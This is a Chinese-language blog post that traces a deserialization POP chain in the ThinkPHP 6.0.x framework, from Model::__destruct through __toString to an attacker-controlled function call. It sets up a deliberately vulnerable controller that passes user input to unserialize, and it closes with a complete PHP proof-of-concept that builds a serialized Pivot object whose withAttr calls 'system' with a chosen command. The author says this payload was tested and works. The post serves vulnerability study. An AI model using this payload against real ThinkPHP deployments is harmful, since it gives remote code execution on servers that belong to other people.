前言

这几天算是进阶到框架类漏洞的学习了,首当其冲想到是thinkphp,先拿thinkphp6.0.x来学习一下,体验一下寻找pop链的快乐。

在此感谢楷师傅的帮忙~

环境配置

用composer指令安装:

composer create-project topthink/think tp

修改入口Index:/app/controller/index.php

<?php
namespace app\controller; class Index
{
public function index($input='')
{
echo $input;
unserialize($input);
}
}

目的:假设现实中在入口文件中存在直接反序列化点,且参数可控:unserialize($_GET['input'])

构造pop链

寻找__destruct方法

首先一般先寻找__destruct魔法函数,在Model(vendor/topthink/think-orm/src/Model.php)

    public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

可以得到第一个条件:当$this->lazySave==True时,可以执行$this->save()

跟进save方法

    public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
} $result = $this->exists ? $this->updateData() : $this->insertData($sequence); if (false === $result) {
return false;
} // 写入回调
$this->trigger('AfterWrite'); // 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false; return true;
}

首先要绕过if判断,否则无法执行后面的代码:

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

也即需要两个条件:

$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
其中isEmpty(): public function isEmpty(): bool
{
return empty($this->data);
}

因此必须有$this->data!=null才可以满足第一个条件。

再看trigger('BeforeWrite'),位于ModelEvent类中:

    protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}

因此必须有$this->withEvent==false才可以满足第二个条件,但是我们也可以选择不管,让$this->withEvent==null也可以满足。

满足两个条件后绕过if判断,接着关注到:

 $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

通过判断$this->exists布尔值来选择执行updateData()或者insertData(),所以先看看这两个方法哪一个可以利用。

分别跟进这两个方法,发现updateData方法可以继续利用。

跟进updateData方法

    protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
} $this->checkData(); // 获取有更新的数据
$data = $this->getChangedData(); if (empty($data)) {
.....
} if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
.....
} // 检查允许字段
$allowFields = $this->checkAllowFields();

发现能够执行$this->checkAllowFields(),但是需要绕过前面的两个if判断,必须满足两个条件:

  • $this->trigger('BeforeUpdate')==true,在前面的$this->withEvent==true已经可以满足。
  • $data!=null

为了满足第二个条件,要寻找$data的来源:

$data = $this->getChangedData();

回溯到getChangedData()方法:

    public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
} return is_object($a) || $a != $b ? 1 : 0;
}); // 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
} return $data;
}

由于$this->force默认为null,因此会执行冒号的后部分:

array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
} return is_object($a) || $a != $b ? 1 : 0;
})

由于$this->data$this->origin也默认为null,所以不符合第一个if判断,最终`$data=0,也即满足前面所提的第二个条件。

另外也可以通过外加使$this->force!=null,这样就会使$data=$this->data,此时再外加使$this->data!=null也同样可以满足第二条件了。

满足两个条件后跟进到$this->checkAllowFields()

跟进checkAllowFields方法

    protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable(); $this->field = $query->getConnection()->getTableFields($table);
} return $this->field;
} $field = $this->field; if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
} if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
} return $field;
}

这里发现了字符串拼接$this->table . $this->suffix,只要有一个变量为对象即可触发该类的__toString魔法函数。但在此之前先关注拼接前做了什么。

很明显必须使$this->field=null$this->schema=null才会执行else步骤。这两个条件默认都满足,那么继续看$this->db()这个方法。

跟进db方法

    public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk); if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
..... // 返回当前模型的数据库查询对象
return $query;
}

由于$this->table默认为null,因此可以发现db方法也存在$this->table . $this->suffix参数的拼接,也可以触发__toString

到此为止可以知道必须要有两个外加条件:

$this->exists = true;
$this->$lazySave = true;
//$this->$withEvent = false; //可有可无

寻找__toString触发点

在另外一个类Conversion(vendor/topthink/think-orm/src/model/concern/Conversion.php),存在__toString魔法函数:

    public function __toString()
{
return $this->toJson();
}

跟进toJson方法

    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

跟进toArray方法

    public function toArray(): array
{
$item = [];
$hasVisible = false; foreach ($this->visible as $key => $val) {...} foreach ($this->hidden as $key => $val) {...} // 合并关联数据
$data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
....
}

我们要执行的是后面的倒数第二个getAttr方法。

来看看触发条件:

$this->visible[$key]存在,即$this->visible存在键名为$key的键,而$key则来源于$data的键名,$data则来源于$this->data,也就是说$this->data$this->visible要有相同的键名$key

然后把$key做为参数传入getAttr方法。

跟进getAttr方法

位于Attribute(vendor/topthink/think-orm/src/model/concern/Attribute.php)中:

    public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
} return $this->getValue($name, $value, $relation);
}

首先将$key传入getData方法,继续跟进getData方法。

跟进getData方法

    public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
} $fieldName = $this->getRealFieldName($name); if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
} throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

跟进getRealFieldName方法

    protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}

$this->stricttrue时直接返回$name,即$key

回到上面的getData方法,此时$fieldName = $key,进入判断语句:

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
}

返回$this->data[$key],记为$value,再回到上上面的getAttr方法:

return $this->getValue($name, $value, $relation);

也即:

$this->getValue($key, $value, null);

跟进getValue方法

    protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
} if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
.....

关注到倒数的关键语句:

$value   = $closure($value, $this->data);

$closure作为我们想要执行的函数名,$value$this->data为参数即可实现任意函数执行。

所以想办法让程序往这个方向执行,首先\(this->getRealFieldName(\)name),跟进getRealFieldName方法:

    protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}

因此应该使$this->strict==true,这样不影响$name,再回到getValue方法。

$method 不影响后面过程没必要关注,进入if判断$this->withAttr[$fieldName]是否有定义,因此我们必须外加$this->withAttr,具体的值继续往下看。

接下去对$relationif判断不用管,关注最后的if判断:

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}

目标是执行else的代码,由于是且判断,因此只需is_array($this->withAttr[$fieldName])==false,那么让$this->withAttr[$fieldName]=null就可以了。

最后一个赋值语句,我们可以通过 $this->withAttr[$fieldName]控制想要执行的函数的名称:

$closure = $this->withAttr[$fieldName];

至此pop链找到了,总结后半部分需要的外加条件:

$this->table = new think\model\Pivot();
$this->data = ["key"=>$command]; //要传入的参数
$this->visible = ["key"=>1];
$this->withAttr = ["key"=>$function]; //要执行的函数名称
$this->$strict = true;

POP预览流程

借用Somnus师傅的图:

触发__toString之前:

触发__toString之后:

POC代码

果然开发能力还是太菜了,debug了很久才写出来,亲测有效:

<?php
namespace think;
abstract class Model{
use model\concern\Attribute;
private $lazySave=false;
private $exists = true;
private $data=[];
function __construct($obj){
$this->lazySave=true;
$this->exists=true;
$this->data=['key'=>'dir'];
$this->table=$obj;
$this->strict=true;
$this->visible = ["key"=>1];
}
}
namespace think\model\concern;
trait Attribute{
private $withAttr = ["key" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
function __construct($obj){
parent::__construct($obj);
}
} $obj1=new Pivot(null);
echo urlencode(serialize(new Pivot($obj1)));

结果:

楷师傅的POC,还没试过。

还有知识星球dalao自动生成payload的程序,详见安全客文章

参考

Somnus师傅的文章

thinkphp6.0.x 反序列化详记(一)的更多相关文章

  1. thinkphp6.0.x 反序列化详记(二)

    前言 接上文找第二条POP链. 环境配置 同上文 POP链构造 寻找__destruct方法 仍然是寻找__destruct,这次关注AbstractCache.php(/vendor/league/ ...

  2. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  3. IIS7.0 Appcmd 命令详解和定时重启应用池及站点的设置

    IIS7.0 Appcmd 命令详解 废话不说!虽然有配置界面管理器!但是做安装包的时候命令创建是必不可少的!最近使用NSIS制作安装包仔细研究了一下Appcmd的命令,可谓是功能齐全. 上网查了些资 ...

  4. IIS7.0 Appcmd 命令详解

    原文 IIS7.0 Appcmd 命令详解 一:准备工作 APPcmd.exe 位于 C:\Windows\System32\inetsrv 目录 使用 Cd c:\Windows\System32\ ...

  5. tp6源码解析-第二天,ThinkPHP6编译模板流程详解,ThinkPHP6模板源码详解

    TP6源码解析,ThinkPHP6模板编译流程详解 前言:刚开始写博客.如果觉得本篇文章对您有所帮助.点个赞再走也不迟 模板编译流程,大概是: 先获取到View类实例(依赖注入也好,通过助手函数也好) ...

  6. loadrunner11.0 安装破解详解使用教程

    loadrunner11.0 安装破解详解使用教程 来源:互联网 作者:佚名 时间:01-21 10:25:34 [大 中 小] 很多朋友下载了loadrunner11但不是很会使用,这里简单介绍下安 ...

  7. Apache2.2+Tomcat7.0整合配置详解

    一.简单介绍 Apache.Tomcat Apache HTTP Server(简称 Apache),是 Apache 软件基金协会的一个开放源码的网页服务器,可以在 Windows.Unix.Lin ...

  8. Android EventBus 3.0 实例使用详解

    EventBus的使用和原理在网上有很多的博客了,其中泓洋大哥和启舰写的非常非常棒,我也是跟着他们的博客学会的EventBus,因为是第一次接触并使用EventBus,所以我写的更多是如何使用,源码解 ...

  9. QuartusII13.0使用教程详解(一个完整的工程建立)

    好久都没有发布自己的博客了,因为最近学校有比赛,从参加到现在都是一脸懵逼,幸亏有bingo大神的教程,让我慢慢走上了VIP之旅,bingo大神的无私奉献精神值得我们每一个业界人士学习,向bingo致敬 ...

随机推荐

  1. 柱状图bar

    1.bar的基本设置宽度和圆角 let box1 = document.getElementById('box1') let myEcharts = echarts.init(box1) let op ...

  2. C013:颠倒显示三位数

    代码: #include "stdafx.h" int _tmain(int argc, _TCHAR* argv[]) { int original; do{ printf(&q ...

  3. Q200510-01: 求部门工资最高的员工

    问题: 求部门工资最高的员工 Employee 表包含所有员工信息,每个员工有其对应的 Id, salary 和 department Id. +----+-------+--------+----- ...

  4. python基础一(安装、变量、循环、git)

    一.开发语言分类 系统的开发语言有java.c++.c#.python.ruby.php等等,开发语言可分为编译型语言和解释型语言. 编译型语言就是写好代码之后就把代码编译成二进制文件,运行的时候运行 ...

  5. [极客大挑战 2019]Secret File wp

    通过标题考虑可能为文件包含漏洞方面 打开网页 从页面并没任何思路,查看源代码 得到有一个跳转到./Archive_room.php的超链接,打开Archive_room.php 中央有一个secret ...

  6. ctfhub sql注入字符型

    手工注入 1, 检查是否存在注入 2.猜字段数.列数 3.获得注入点,数据库名称,数据库版本 4.获得表名 5.获得字段名 6.获得flag sqlmap方法 1.查数据库库名 2.查表名 3.查字段 ...

  7. java安全编码指南之:堆污染Heap pollution

    目录 简介 产生堆污染的例子 更通用的例子 可变参数 简介 什么是堆污染呢?堆污染是指当参数化类型变量引用的对象不是该参数化类型的对象时而发生的. 我们知道在JDK5中,引入了泛型的概念,我们可以在创 ...

  8. redis实现计数器

    用redis实现计数器 社交产品业务里有很多统计计数的功能,比如: 用户: 总点赞数,关注数,粉丝数 帖子: 点赞数,评论数,热度 消息: 已读,未读,红点消息数 话题: 阅读数,帖子数,收藏数 统计 ...

  9. 最全总结 | 聊聊 Python 数据处理全家桶(Sqlite篇)

    1. 前言 上篇文章 聊到 Python 处理 Mysql 数据库最常见的两种方式,本篇文章继续说另外一种比较常用的数据库:Sqlite Sqlite 是一种 嵌入式数据库,数据库就是一个文件,体积很 ...

  10. python-文本操作和二进制储存

    0x01 open方法 r read w write a append b byte test.txt内容为 yicunyiye wutang 读取test.txt f = open('test.tx ...